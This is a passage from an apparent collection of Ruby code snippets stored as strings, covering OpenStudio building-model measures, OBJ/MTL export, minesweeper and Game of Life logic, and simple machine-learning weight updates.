')}\\n\"\r\n end\r\n \r\n # now do subSurfaces\r\n subSurfaces.each do |subSurface|\r\n \r\n subSurfaceID = getSurfaceID(subSurface)\r\n allMaterials << getMaterial(subSurface)\r\n \r\n subSurfaceVertices = tInv*subSurface.vertices\r\n triangles = OpenStudio::computeTriangulation(subSurfaceVertices, OpenStudio::Point3dVectorVector.new)\r\n\r\n objFaces += \"##{subSurface.name}\\n\"\r\n objFaces += \"g #{subSurface.name}\\n\"\r\n objFaces += \"usemtl #{subSurfaceID}\\n\"\r\n triangles.each do |vertices|\r\n vertices = siteTransformation*t*vertices\r\n normal = siteTransformation.rotationMatrix*r*z\r\n\r\n indices = []\r\n vertices.each do |vertex|\r\n indices << getVertexIndex(vertex, allVertices) \r\n end \r\n #objFaces += \" usemtl #{subSurfaceID}\\n\"\r\n objFaces += \" f #{indices.join(' ')}\\n\"\r\n end\r\n end\r\n end\r\n \r\n if objFaces.empty?\r\n runner.registerError(\"Model is empty, no output will be written\")\r\n return false\r\n end\r\n\r\n # write object file\r\n obj_out_path = \"./output.obj\"\r\n File.open(obj_out_path, 'w') do |file|\r\n\r\n file << \"# OpenStudio OBJ Export\\n\\n\"\r\n file << \"mtllib surface_type.mtl\\n\"\r\n file << \"#mtllib boundary_color.mtl\\n\\n\"\r\n file << \"# Vertices\\n\"\r\n allVertices.each do |v|\r\n file << \"v #{v.x} #{v.z} #{-v.y}\\n\"\r\n end\r\n file << \"\\n\"\r\n file << \"# Faces\\n\"\r\n file << objFaces\r\n \r\n # make sure data is written to the disk one way or the other \r\n begin\r\n file.fsync\r\n rescue\r\n file.flush\r\n end\r\n end\r\n \r\n # write material files\r\n mtl_out_path = \"./surface_type.mtl\"\r\n File.open(mtl_out_path, 'w') do |file|\r\n\r\n file << \"# OpenStudio Surface Type MTL Export\\n\"\r\n allMaterials.each do |material|\r\n r = material[:surface_type_color][0]/255.to_f\r\n g = material[:surface_type_color][1]/255.to_f\r\n b = material[:surface_type_color][2]/255.to_f\r\n a = material[:surface_type_color][3]\r\n file << \"newmtl #{material[:surfaceID]}\\n\"\r\n file << \" Ka #{r} #{g} #{b}\\n\"\r\n file << \" Kd #{r} #{g} #{b}\\n\"\r\n file << \" Ks #{r} #{g} #{b}\\n\"\r\n file << \" Ns 0.0\\n\"\r\n file << \" d #{a}\\n\" # some implementations use 'd' others use 'Tr'\r\n end\r\n \r\n # make sure data is written to the disk one way or the other \r\n begin\r\n file.fsync\r\n rescue\r\n file.flush\r\n end\r\n end\r\n \r\n mtl_out_path = \"./boundary_color.mtl\"\r\n File.open(mtl_out_path, 'w') do |file|\r\n\r\n file << \"# OpenStudio Surface Type MTL Export\\n\"\r\n allMaterials.each do |material|\r\n r = material[:boundary_color][0]/255.to_f\r\n g = material[:boundary_color][1]/255.to_f\r\n b = material[:boundary_color][2]/255.to_f\r\n a = material[:boundary_color][3]\r\n file << \"newmtl #{material[:surfaceID]}\\n\"\r\n file << \" Ka #{r} #{g} #{b}\\n\"\r\n file << \" Kd #{r} #{g} #{b}\\n\"\r\n file << \" Ks #{r} #{g} #{b}\\n\"\r\n file << \" Ns 0.0\\n\"\r\n file << \" d #{a}\\n\" # some implementations use 'd' others use 'Tr'\r\n end\r\n\r\n # make sure data is written to the disk one way or the other \r\n begin\r\n file.fsync\r\n rescue\r\n file.flush\r\n end\r\n end\r\n \r\n # report final condition of model\r\n runner.registerFinalCondition(\"The building finished with #{model.getSpaces.size} spaces.\")\r\n\r\n return true\r\n\r\n end", "def smoothing; end", "def start \n puts \"Welcome to RubySweeper\"\n\n\n\n board = board()\n plays = [['-', '-', '-', '-','-'], ['-', '-', '-', '-','-'], ['-', '-', '-', '-','-'], ['-', '-', '-', '-','-'], ['-', '-', '-', '-','-']]\n\n playGame(board, plays)\nend", "def mine_sweeper(bombs, num_rows, num_cols)\n result = Array.new(num_rows) {[0] * num_cols}\n\n for a,b in bombs do\n row_i, col_i = a, b \n result[row_i][col_i] = -1\n \n for i in (row_i - 1..row_i + 1) do\n for j in (col_i - 1..col_i + 1) do\n if (i >= 0 and i < num_rows) and (j >= 0 and j < num_cols) and result[i][j] != -1\n result[i][j] += 1\n end\n end\n end\n \n end\n result\nend", "def broadcasting; end", "def initialize\n @x = Array.new\n @y = Array.new\n @output = Array.new\n @weights = [0.0001,0.0001,0.0001]\n end", "def cloning_tank\n end", "def sweeper\n Thread.new(@expiries, @available) do |exp, avail|\n loop do\n sleep 15\n @lock.synchronize {\n avail.each do |instance|\n if exp[instance] < Time.now\n avail.delete(instance)\n exp.delete(instance)\n instance.close\n end\n end\n }\n end\n end\n end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Above-grade walls between unfinished space and outdoors\n ext_wall_surfaces = []\n model.getSpaces.each do |space|\n next if Geometry.space_is_finished(space)\n next if Geometry.space_is_below_grade(space)\n space.surfaces.each do |surface|\n next if surface.construction.is_initialized\n next if surface.surfaceType.downcase != \"wall\"\n next if surface.outsideBoundaryCondition.downcase != \"outdoors\"\n ext_wall_surfaces << surface\n end\n end\n \n # Walls between two finished spaces\n finished_wall_surfaces = []\n model.getSpaces.each do |space|\n next if Geometry.space_is_unfinished(space)\n space.surfaces.each do |surface|\n next if surface.construction.is_initialized\n next if surface.surfaceType.downcase != \"wall\"\n next if not surface.adjacentSurface.is_initialized\n next if not surface.adjacentSurface.get.space.is_initialized\n adjacent_space = surface.adjacentSurface.get.space.get\n next if Geometry.space_is_unfinished(adjacent_space)\n finished_wall_surfaces << surface\n end\n end\n \n # Walls between two unfinished spaces\n unfinished_wall_surfaces = []\n model.getSpaces.each do |space|\n next if Geometry.space_is_finished(space)\n space.surfaces.each do |surface|\n next if surface.construction.is_initialized\n next if surface.surfaceType.downcase != \"wall\"\n next if not surface.adjacentSurface.is_initialized\n next if not surface.adjacentSurface.get.space.is_initialized\n adjacent_space = surface.adjacentSurface.get.space.get\n next if Geometry.space_is_finished(adjacent_space)\n unfinished_wall_surfaces << surface\n end\n end\n \n # Floors between two finished spaces\n finished_floor_surfaces = []\n model.getSpaces.each do |space|\n next if Geometry.space_is_unfinished(space)\n space.surfaces.each do |surface|\n next if surface.construction.is_initialized\n next if surface.surfaceType.downcase != \"floor\"\n next if not surface.adjacentSurface.is_initialized\n next if not surface.adjacentSurface.get.space.is_initialized\n adjacent_space = surface.adjacentSurface.get.space.get\n next if Geometry.space_is_unfinished(adjacent_space)\n # Floor between two finished spaces\n finished_floor_surfaces << surface\n end\n end\n \n # Floors between two unfinished spaces\n unfinished_floor_surfaces = []\n model.getSpaces.each do |space|\n next if Geometry.space_is_finished(space)\n space.surfaces.each do |surface|\n next if surface.construction.is_initialized\n next if surface.surfaceType.downcase != \"floor\"\n next if not surface.adjacentSurface.is_initialized\n next if not surface.adjacentSurface.get.space.is_initialized\n adjacent_space = surface.adjacentSurface.get.space.get\n next if Geometry.space_is_finished(adjacent_space)\n # Floor between two unfinished spaces\n unfinished_floor_surfaces << surface\n end\n end\n \n # Slabs below unfinished space\n slab_surfaces = []\n model.getSpaces.each do |space|\n next if Geometry.space_is_finished(space)\n next if Geometry.space_is_below_grade(space)\n space.surfaces.each do |surface|\n next if surface.construction.is_initialized\n next if surface.surfaceType.downcase != \"floor\"\n next if surface.outsideBoundaryCondition.downcase != \"ground\"\n # Floors between above-grade unfinished space and ground\n slab_surfaces << surface\n end\n end\n \n # Roofs above unfinished space\n roof_spaces = Geometry.get_non_attic_unfinished_roof_spaces(model.getSpaces, model)\n roof_surfaces = []\n roof_spaces.each do |space|\n space.surfaces.each do |surface|\n next if surface.construction.is_initialized\n next if surface.surfaceType.downcase != \"roofceiling\"\n next if surface.outsideBoundaryCondition.downcase != \"outdoors\"\n roof_surfaces << surface\n end\n end\n \n # Adiabatic surfaces (assign construction for mass effects)\n model.getSpaces.each do |space|\n space.surfaces.each do |surface|\n next if surface.construction.is_initialized\n next if surface.outsideBoundaryCondition.downcase != \"adiabatic\"\n if surface.surfaceType.downcase == \"wall\"\n if Geometry.space_is_finished(space)\n finished_wall_surfaces << surface\n else\n unfinished_wall_surfaces << surface\n end\n elsif surface.surfaceType.downcase == \"roofceiling\"\n roof_surfaces << surface\n roof_spaces << space\n elsif surface.surfaceType.downcase == \"floor\"\n if Geometry.space_is_finished(space)\n finished_floor_surfaces << surface\n else\n unfinished_floor_surfaces << surface\n end\n end\n end\n end\n\n # Continue if no applicable surfaces\n if ext_wall_surfaces.empty? and finished_floor_surfaces.empty? and unfinished_floor_surfaces.empty? and slab_surfaces.empty? and roof_surfaces.empty? and finished_wall_surfaces.empty? and unfinished_wall_surfaces.empty?\n runner.registerAsNotApplicable(\"Measure not applied because no applicable surfaces were found.\")\n return true\n end \n\n # Process the exterior walls\n if not ext_wall_surfaces.empty?\n # Define materials\n mat_cavity = Material.AirCavityClosed(Material.Stud2x4.thick_in)\n mat_framing = Material.new(name=nil, thick_in=Material.Stud2x4.thick_in, mat_base=BaseMaterial.Wood)\n \n # Set paths\n path_fracs = [Constants.DefaultFramingFactorInterior, 1 - Constants.DefaultFramingFactorInterior]\n \n # Define construction\n wall = Construction.new(path_fracs)\n wall.add_layer(Material.AirFilmVertical, false)\n wall.add_layer([mat_framing, mat_cavity], true, \"ExtStudAndAirWall\")\n wall.add_layer(Material.DefaultWallSheathing, true)\n wall.add_layer(Material.DefaultExteriorFinish, false) # exterior finish added in separate measure\n wall.add_layer(Material.AirFilmOutside, false)\n\n # Create and assign construction to wall surfaces\n if not wall.create_and_assign_constructions(ext_wall_surfaces, runner, model, name=\"ExtUninsUnfinWall\")\n return false\n end\n end\n \n # Process the finished/unfinished walls\n if not finished_wall_surfaces.empty? or not unfinished_wall_surfaces.empty?\n # Define materials\n mat_cavity = Material.AirCavityClosed(Material.Stud2x4.thick_in)\n mat_framing = Material.new(name=nil, thick_in=Material.Stud2x4.thick_in, mat_base=BaseMaterial.Wood)\n \n # Set paths\n path_fracs = [Constants.DefaultFramingFactorInterior, 1 - Constants.DefaultFramingFactorInterior]\n \n # Define construction\n wall = Construction.new(path_fracs)\n wall.add_layer([mat_framing, mat_cavity], true, \"IntStudAndAirWall\")\n \n if not finished_wall_surfaces.empty?\n # Create and apply construction to finished surfaces\n if not wall.create_and_assign_constructions(finished_wall_surfaces, runner, model, name=\"FinUninsFinWall\")\n return false\n end\n end\n \n if not unfinished_wall_surfaces.empty?\n # Create and apply construction to unfinished surfaces\n if not wall.create_and_assign_constructions(unfinished_wall_surfaces, runner, model, name=\"UnfinUninsUnfinWall\")\n return false\n end\n end\n end\n \n # Process the floors\n if not finished_floor_surfaces.empty? or not unfinished_floor_surfaces.empty?\n # Define materials\n mat_cavity = Material.AirCavityClosed(Material.Stud2x6.thick_in)\n mat_framing = Material.new(name=nil, thick_in=Material.Stud2x6.thick_in, mat_base=BaseMaterial.Wood)\n \n # Set paths\n path_fracs = [Constants.DefaultFramingFactorFloor, 1 - Constants.DefaultFramingFactorFloor]\n\n if not finished_floor_surfaces.empty?\n # Define construction\n fin_floor = Construction.new(path_fracs)\n fin_floor.add_layer(Material.AirFilmFloorAverage, false)\n fin_floor.add_layer(Material.DefaultCeilingMass, false) # thermal mass added in separate measure\n fin_floor.add_layer([mat_framing, mat_cavity], true, \"FinStudAndAirFloor\")\n fin_floor.add_layer(Material.DefaultFloorSheathing, false) # sheathing added in separate measure\n fin_floor.add_layer(Material.DefaultFloorMass, false) # thermal mass added in separate measure\n fin_floor.add_layer(Material.DefaultFloorCovering, false) # floor covering added in separate measure\n fin_floor.add_layer(Material.AirFilmFloorAverage, false)\n\n # Create and apply construction to finished surfaces\n if not fin_floor.create_and_assign_constructions(finished_floor_surfaces, runner, model, name=\"FinUninsFinFloor\")\n return false\n end\n end\n \n if not unfinished_floor_surfaces.empty?\n # Define construction\n unfin_floor = Construction.new(path_fracs)\n unfin_floor.add_layer(Material.AirFilmFloorAverage, false)\n unfin_floor.add_layer([mat_framing, mat_cavity], true, \"UnfinStudAndAirFloor\")\n unfin_floor.add_layer(Material.DefaultFloorSheathing, false) # sheathing added in separate measure\n unfin_floor.add_layer(Material.AirFilmFloorAverage, false)\n\n # Create and apply construction to unfinished surfaces\n if not unfin_floor.create_and_assign_constructions(unfinished_floor_surfaces, runner, model, name=\"UnfinUninsUnfinFloor\")\n return false\n end\n end\n end\n \n # Process the slabs\n if not slab_surfaces.empty?\n # Define construction\n slab = Construction.new([1.0])\n slab.add_layer(Material.Concrete4in, true)\n slab.add_layer(Material.Soil12in, true)\n slab.add_layer(SimpleMaterial.Adiabatic, true)\n \n # Create and assign construction to surfaces\n if not slab.create_and_assign_constructions(slab_surfaces, runner, model, name=\"GrndUninsUnfinFloor\")\n return false\n end\n end\n \n # Process the roofs\n if not roof_surfaces.empty?\n # Define materials\n mat_cavity = Material.AirCavityOpen(Material.Stud2x4.thick_in)\n mat_framing = Material.new(name=nil, thick_in=Material.Stud2x4.thick_in, mat_base=BaseMaterial.Wood)\n\n # Set paths\n path_fracs = [Constants.DefaultFramingFactorCeiling, 1 - Constants.DefaultFramingFactorCeiling]\n \n # Define construction\n roof_const = Construction.new(path_fracs)\n roof_const.add_layer(Material.AirFilmOutside, false)\n roof_const.add_layer(Material.DefaultRoofMaterial, false) # roof material added in separate measure\n roof_const.add_layer(Material.DefaultRoofSheathing, false) # sheathing added in separate measure\n roof_const.add_layer([mat_framing, mat_cavity], true, \"StudAndAirRoof\")\n roof_const.add_layer(Material.AirFilmRoof(Geometry.calculate_avg_roof_pitch(roof_spaces)), false)\n\n # Create and assign construction to surfaces\n if not roof_const.create_and_assign_constructions(roof_surfaces, runner, model, name=\"UnfinUninsExtRoof\")\n return false\n end\n end\n \n # Remove any constructions/materials that aren't used\n HelperMethods.remove_unused_constructions_and_materials(model, runner)\n\t\n return true\n \n end", "def evolve\n # Prepare new next_state matrix same shape as current matrix\n @next_state=Array.new(@current_state.length){\n Array.new(@current_state[0].length){0}\n }\n\n # Run through algorithm\n @current_state.each_index{|row| \n @current_state[row].each_index{|col| calc_next_state(row,col)}}\n\n # Make next stage of life the current stage\n @current_state=@next_state\n end", "def run_experiment(r,seed,max,step)\n r.del('hll')\n i = 0\n samples = []\n step = 1000 if step > 1000\n while i < max do\n elements = []\n step.times {\n ele = Digest::SHA1.hexdigest(i.to_s+seed.to_s)\n elements << ele\n i += 1\n }\n r.pfadd('hll',elements)\n approx = r.pfcount('hll')\n err = approx-i\n rel_err = 100.to_f*err/i\n samples << [i,rel_err]\n end\n samples\nend", "def update\n ones = Matrix.columns( [Array.new(@N) { 1.0 }] )\n (1..@L).each do |l|\n delta_W = ( MU*@delta_W_prev[l] ) -\n @learning_rate*( (@Delta[l] * @Z[l-1].t / @N) + LAMBDA*@layers[l].W )\n delta_b = ( MU*@delta_b_prev[l] ) -\n @learning_rate*( @Delta[l] * ones )\n\n @delta_W_prev[l] = Marshal.load(Marshal.dump(delta_W))\n @delta_b_prev[l] = Marshal.load(Marshal.dump(delta_b))\n\n @layers[l].W = @layers[l].W + delta_W\n @layers[l].b = @layers[l].b + delta_b\n end\n end", "def bless_model(model)\n \tmodel.bless(self) if model\n end", "def bless_model(model)\n \tmodel.bless(self) if model\n end", "def set_weights(weights); self;end", "def task()\n world = Robota::World\n world.read_world(\"../worlds/mur.txt\")\n karel = StairSweeper.new(2, 9, Robota::WEST, 500)\n karel.yes\n world.show_world_with_robots(1, 1, 6, 6)\n karel.display()\n \nend", "def fill_train(train)\n 120.times { train.board(active_passenger, station) }\n end", "def kamen_rider(*eras); end", "def polya_urn_model(base_color_distribution, num_balls, alpha)\n return [] if num_balls <= 0\n\n balls_in_urn = []\n 0.upto(num_balls - 1) do |i|\n if rand < alpha.to_f / (alpha + balls_in_urn.size)\n # Draw a new color, put a ball of this color in the urn.\n new_color = base_color_distribution.call\n balls_in_urn << new_color\n else\n # Draw a ball from the urn, add another ball of the same color.\n ball = balls_in_urn[rand(balls_in_urn.size)]\n balls_in_urn << ball\n end\n end\n \n balls_in_urn\nend", "def initialize(game_state_model)\n @game_state_model = game_state_model\n @grid = @game_state_model::grid.getGrid\n @winner = nil\n\n @masks = {\n 1 => 0b0000000000000000000000000000000000000000000000000000000000000001,\n 2 => 0b0000000000000000000000000000000000000000000000000000000000000010,\n 3 => 0b0000000000000000000000000000000000000000000000000000000000000100,\n 4 => 0b0000000000000000000000000000000000000000000000000000000000001000,\n 5 => 0b0000000000000000000000000000000000000000000000000000000000010000,\n 6 => 0b0000000000000000000000000000000000000000000000000000000000100000,\n 7 => 0b0000000000000000000000000000000000000000000000000000000001000000,\n 8 => 0b0000000000000000000000000000000000000000000000000000000010000000,\n 9 => 0b0000000000000000000000000000000000000000000000000000000100000000,\n 10 => 0b0000000000000000000000000000000000000000000000000000001000000000,\n 11 => 0b0000000000000000000000000000000000000000000000000000010000000000,\n 12 => 0b0000000000000000000000000000000000000000000000000000100000000000,\n 13 => 0b0000000000000000000000000000000000000000000000000001000000000000,\n 14 => 0b0000000000000000000000000000000000000000000000000010000000000000,\n 15 => 0b0000000000000000000000000000000000000000000000000100000000000000,\n 16 => 0b0000000000000000000000000000000000000000000000001000000000000000,\n 17 => 0b0000000000000000000000000000000000000000000000010000000000000000,\n 18 => 0b0000000000000000000000000000000000000000000000100000000000000000,\n 19 => 0b0000000000000000000000000000000000000000000001000000000000000000,\n 20 => 0b0000000000000000000000000000000000000000000010000000000000000000,\n 21 => 0b0000000000000000000000000000000000000000000100000000000000000000,\n 22 => 0b0000000000000000000000000000000000000000001000000000000000000000,\n 23 => 0b0000000000000000000000000000000000000000010000000000000000000000,\n 24 => 0b0000000000000000000000000000000000000000100000000000000000000000,\n 25 => 0b0000000000000000000000000000000000000001000000000000000000000000,\n 26 => 0b0000000000000000000000000000000000000010000000000000000000000000,\n 27 => 0b0000000000000000000000000000000000000100000000000000000000000000,\n 28 => 0b0000000000000000000000000000000000001000000000000000000000000000,\n 29 => 0b0000000000000000000000000000000000010000000000000000000000000000,\n 30 => 0b0000000000000000000000000000000000100000000000000000000000000000,\n 31 => 0b0000000000000000000000000000000001000000000000000000000000000000,\n 32 => 0b0000000000000000000000000000000010000000000000000000000000000000,\n 33 => 0b0000000000000000000000000000000100000000000000000000000000000000,\n 34 => 0b0000000000000000000000000000001000000000000000000000000000000000,\n 35 => 0b0000000000000000000000000000010000000000000000000000000000000000,\n 36 => 0b0000000000000000000000000000100000000000000000000000000000000000,\n 37 => 0b0000000000000000000000000001000000000000000000000000000000000000,\n 38 => 0b0000000000000000000000000010000000000000000000000000000000000000,\n 39 => 0b0000000000000000000000000100000000000000000000000000000000000000,\n 40 => 0b0000000000000000000000001000000000000000000000000000000000000000,\n 41 => 0b0000000000000000000000010000000000000000000000000000000000000000,\n 42 => 0b0000000000000000000000100000000000000000000000000000000000000000,\n 43 => 0b0000000000000000000001000000000000000000000000000000000000000000,\n 44 => 0b0000000000000000000010000000000000000000000000000000000000000000,\n 45 => 0b0000000000000000000100000000000000000000000000000000000000000000,\n 46 => 0b0000000000000000001000000000000000000000000000000000000000000000,\n 47 => 0b0000000000000000010000000000000000000000000000000000000000000000,\n 48 => 0b0000000000000000100000000000000000000000000000000000000000000000,\n 49 => 0b0000000000000001000000000000000000000000000000000000000000000000,\n 50 => 0b0000000000000010000000000000000000000000000000000000000000000000,\n 51 => 0b0000000000000100000000000000000000000000000000000000000000000000,\n 52 => 0b0000000000001000000000000000000000000000000000000000000000000000,\n 53 => 0b0000000000010000000000000000000000000000000000000000000000000000,\n 54 => 0b0000000000100000000000000000000000000000000000000000000000000000,\n 55 => 0b0000000001000000000000000000000000000000000000000000000000000000,\n 56 => 0b0000000010000000000000000000000000000000000000000000000000000000,\n 57 => 0b0000000100000000000000000000000000000000000000000000000000000000,\n 58 => 0b0000001000000000000000000000000000000000000000000000000000000000,\n 59 => 0b0000010000000000000000000000000000000000000000000000000000000000,\n 60 => 0b0000100000000000000000000000000000000000000000000000000000000000,\n 61 => 0b0001000000000000000000000000000000000000000000000000000000000000,\n 62 => 0b0010000000000000000000000000000000000000000000000000000000000000,\n 63 => 0b0100000000000000000000000000000000000000000000000000000000000000,\n 64 => 0b1000000000000000000000000000000000000000000000000000000000000000\n }\n\n end", "def hiddens; end", "def initialize\r\n shuffle\r\n end", "def performs_sequential!()\n\n @m.times do |y|\n @n.times do |x|\n\n turn!(x, y)\n end\n end\n\n self\n end", "def mutate()\n\t\t# make a copy of grid and fill it with zeros\n\t\ttemp = Array.new(@rows)\n\t\tfor i in (0...@rows)\n\t\t\ttemp[i] = Array.new(@cols)\n\t\t\ttemp[i].fill(0)\n\t\tend\n\n #\n\t\t# TO DO: set values in temp grid to next generation\n\t\t#\n\t\tfor k in 0...@rows\n\t\t\tfor h in 0...@cols\n\t\t\t\tif (@grid[k][h]==1 && getNeighbors(k, h) < 2)\n\t\t\t\t\ttemp[k][h] = 0\n\t\t\t\telsif (@grid[k][h]==1 && getNeighbors(k, h) >3)\n\t\t\t\t\ttemp[k][h] = 0\n\t\t\t\telsif (@grid[k][h]==0 && getNeighbors(k, h) == 3)\n\t\t\t\t\ttemp[k][h] = 1\n\t\t\t\telse\n\t\t\t\t\ttemp[k][h] = @grid[k][h]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\n\n\n # DO NOT DELETE THE CODE BELOW\n\t\t@grid = temp\n\tend", "def next\n predict (@size + 1)\n end", "def update_weights\n @weights_set.each_weights_with_index do |weights, i|\n weights.each_with_index do |wl, j|\n wl.each_with_index do |w, k|\n wl[k] = w - (@learning_rate * @layers[i].nodes[j].this_output * @layers[i+1].nodes[k].this_backward_output)\n end\n end\n end\n end", "def L\n 3.times { R() }\n end", "def move_to_next_generation\n @x.times{ |r|\n @y.times{|c| \n @mat[r][c].step_generation\n }\n } \n end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n segments = runner.getIntegerArgumentValue('segments', user_arguments)\n\n # check the space_name for reasonableness\n if segments < 1\n runner.registerError('Please specify a positive integer for number of segments.')\n return false\n end\n\n # report initial condition of model\n runner.registerInitialCondition(\"The building started with #{model.getSubSurfaces.size} sub surfaces.\")\n\n # loop through sub-surfaces\n model.getSubSurfaces.each do |ss|\n\n # only split if exterior\n next if not ss.outsideBoundaryCondition == \"Outdoors\"\n\n # see if surface is rectangular (only checking non rotated on vertical wall)\n x_vals = []\n y_vals = []\n z_vals = []\n vertices = ss.vertices\n vertices.each do |vertex|\n # initialize new vertex to old vertex\n # rounding values to address tolerance issue 10 digits digits in\n x_vals << vertex.x.round(8)\n y_vals << vertex.y.round(8)\n z_vals << vertex.z.round(8)\n end\n next if not x_vals.uniq.size <= 2 && y_vals.uniq.size <= 2 && z_vals.uniq.size <= 2 && x_vals.size == 4\n\n # store initial min and max z and height\n z_min = z_vals.min\n z_max = z_vals.max\n orig_height = z_max - z_min\n segment_height = orig_height/segments.to_f\n\n # modify window height\n new_vertices = OpenStudio::Point3dVector.new\n vertices.each do |vertex|\n x = vertex.x\n y = vertex.y\n if vertex.z == z_min\n z = vertex.z\n else\n z = z_min + segment_height\n end\n new_vertices << OpenStudio::Point3d.new(x, y, z)\n end\n ss.setVertices(new_vertices)\n\n # clone and move copies of window\n (segments -1).times do |i|\n new_segment = ss.clone(model).to_SubSurface.get\n new_segment.setName(\"#{ss.name} seg #{i+2}\")\n\n # move cloned surface up\n seg_vertices = OpenStudio::Point3dVector.new\n vertices.each do |vertex|\n x = vertex.x\n y = vertex.y\n if vertex.z == z_min\n z = vertex.z + segment_height * (i + 1)\n else\n z = z_min + segment_height * (i + 2)\n end\n seg_vertices << OpenStudio::Point3d.new(x, y, z)\n end\n new_segment.setVertices(seg_vertices)\n end\n\n end\n\n # report final condition of model\n runner.registerFinalCondition(\"The building finished with #{model.getSubSurfaces.size} sub sufaces.\")\n\n return true\n end", "def shuffle\n @ole.Shuffle\n end", "def shuffle\n @ole.Shuffle\n end", "def demote!( instance )\n #STDERR.puts \"Demoting: old weights => #{@model.weights.join(\",\")}\"\n # For every feature/attribute present, demote the corresponding weight\n instance.each_index{ |ii| @model.weights[ii] *= @beta if instance[ii] }\n #STDERR.puts \"\\t\\tnew weights => #{@model.weights.join(\",\")}\"\n end", "def model=(_arg0); end", "def model=(_arg0); end", "def model=(_arg0); end", "def model=(_arg0); end", "def shuffle()\n @x.shuffle\n \n end", "def shuffle!(r, m)\n\t\t\tj = m.capacity\n\t\t\twhile j > 1\n\t\t\t\ti = r.rand(j)\n\t\t\t\tj -= 1\n\t\t\t\tif i != j\n\t\t\t\t\tswap(m, i, j)\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn\n\t\tend", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n lat = runner.getDoubleArgumentValue(\"lat\", user_arguments)\n lon = runner.getDoubleArgumentValue(\"lon\", user_arguments)\n\n # Identity matrix for setting space origins\n m = OpenStudio::Matrix.new(4,4,0)\n m[0,0] = 1\n m[1,1] = 1\n m[2,2] = 1\n m[3,3] = 1\n\n # target origin for all spaces\n m[0,3] = 0.0\n m[1,3] = 0.0\n m[2,3] = 0.0\n\n # todo - bad idea to change model, change this in temp model if necessary\n # space transformation\n model.getSpaces.each do |space|\n space.changeTransformation(OpenStudio::Transformation.new(m))\n end\n\n # loop through surfaces\n floor_polygons = []\n starting_footprint_area = 0.0\n model.getSurfaces.each do |surface|\n next if not (surface.outsideBoundaryCondition == \"Ground\" || surface.outsideBoundaryCondition == \"OtherSideCoefficients\")\n next if not surface.surfaceType == \"Floor\"\n runner.registerInfo(\"#{surface.name} is a ground exposed floor\")\n starting_footprint_area += surface.grossArea\n\n # add to polygons\n new_floor_polygon = []\n surface.vertices.each do |vertex|\n new_floor_polygon << OpenStudio::Point3d.new(vertex.x, vertex.y, 0.0)\n end\n floor_polygons << new_floor_polygon\n\n # loop through vertices\n vertex_array_lat_long = []\n surface.vertices.each do |vertex|\n point_lat_lon = OpenStudio::PointLatLon.new(lat, lon, 0.0)\n vertex_array_lat_long << point_lat_lon.fromLocalCartesian(vertex)\n end\n\n # if we want to see lat long of space surfaces\n vertex_array_lat_long.each do |i|\n #puts \"[#{i.lon},#{i.lat}],\"\n end\n\n end\n\n # report initial condition of model\n starting_footprint_area_ip = OpenStudio::toNeatString(OpenStudio::convert(starting_footprint_area,\"m^2\",\"ft^2\").get,0,true)\n runner.registerInitialCondition(\"Model has #{floor_polygons.size} ground exposed floor surfaces, with an area of #{starting_footprint_area_ip} (ft^2).\")\n\n # Combine the polygons\n combined_polygons = OpenStudio.joinAll(floor_polygons, 0.01)\n\n # todo - no error handling for problem geometry like enclosed courtyard\n\n # note - not setup for non story multipliers on ground floor\n\n # temp code to work around bug in joinAll\n floor_polygons2 = floor_polygons\n floor_polygons.size.times do |i|\n floor_polygons2 << combined_polygons.first\n combined_polygons = OpenStudio.joinAll(floor_polygons2.rotate(i), 0.01)\n end\n\n combined_polygons.each do |polygon|\n\n # make temp surface\n temp_space = OpenStudio::Model::Space.new(model)\n temp_surf = OpenStudio::Model::Surface.new(polygon, model)\n temp_surf.setSpace(temp_space)\n footprint_vertex_array_lat_long = []\n temp_surf.vertices.each do |vertex|\n point_lat_lon = OpenStudio::PointLatLon.new(lat, lon, 0.0)\n point_lat_lon.fromLocalCartesian(vertex)\n footprint_vertex_array_lat_long << point_lat_lon.fromLocalCartesian(vertex)\n end\n\n geometry_text = []\n footprint_vertex_array_lat_long.each do |i|\n string = \"[#{i.lon},#{i.lat}]\"\n puts \"#{string},\"\n geometry_text << string\n end\n\n # report on resulting polygon\n area_ip = OpenStudio::toNeatString(OpenStudio::convert(temp_surf.grossArea,\"m^2\",\"ft^2\").get,0,true)\n runner.registerInfo(\"Adding surface with area of #{area_ip} (ft^2).\")\n runner.registerInfo(geometry_text.join(\",\"))\n\n end\n\n # report final condition of model\n runner.registerFinalCondition(\"Ground exposed floors reduced to #{combined_polygons.size} surfaces.\")\n\n puts model.getBuilding.floorArea\n\n return true\n\n end", "def render_walls\n state.walls.each_key do |wall|\n outputs.solids << scale_up(wall).merge(wall_color)\n outputs.solids << move_and_scale_up(wall).merge(wall_color)\n end\n end", "def worker_culling_strategy(strategy); end", "def magic_weight\n binding.pry\n \n @result.arrayofcards.each do |bundle|\n \n end\n end", "def process_round(model, iteration, info)\n @logger.info(\"iteration #{iteration}\")\n \n @demanders.each do |demander|\n if not model.in_allocation?(demander)\n bid = demander.get_bid(@suppliers, info)\n status = model.try_bid(demander, bid)\n\n @logger.info(\"#{demander.get_id} proposed bid #{bid.inspect}\")\n @logger.info(\"status: #{status}\")\n \n info.push({ :allocation => model.allocation.dup,\n :iteration => iteration,\n :demander => demander,\n :bid => bid,\n :status => status,\n })\n end\n end\n end", "def init_computer_field\n\t\t@computer.ships = (1..10).to_a.shuffle.take(@ships_number)\n\tend", "def make_targets\n @targets = Array.new(8) { Vec2D.new(rand(width), rand(height)) }\nend", "def computer_change_guess\n changed_board = @guess_board.state\n @guess_board.state.each_with_index do |x, i|\n if @feedback_board.state[i] == 'Black'\n changed_board[i] = x\n next\n elsif @feedback_board.state[i] == 'White'\n @feedback_board.state.each_with_index do |y, j|\n if y == nil\n changed_board[j] = x\n changed_board[i] = nil\n @feedback_board.state[j] = 1\n break\n end\n if y == 'White' && j != i\n changed_board[j] = x\n changed_board[i] = nil\n @feedback_board.state[j] = 1\n break\n end\n end\n else\n loop do\n random_num = rand(1..@color_count).to_s\n if 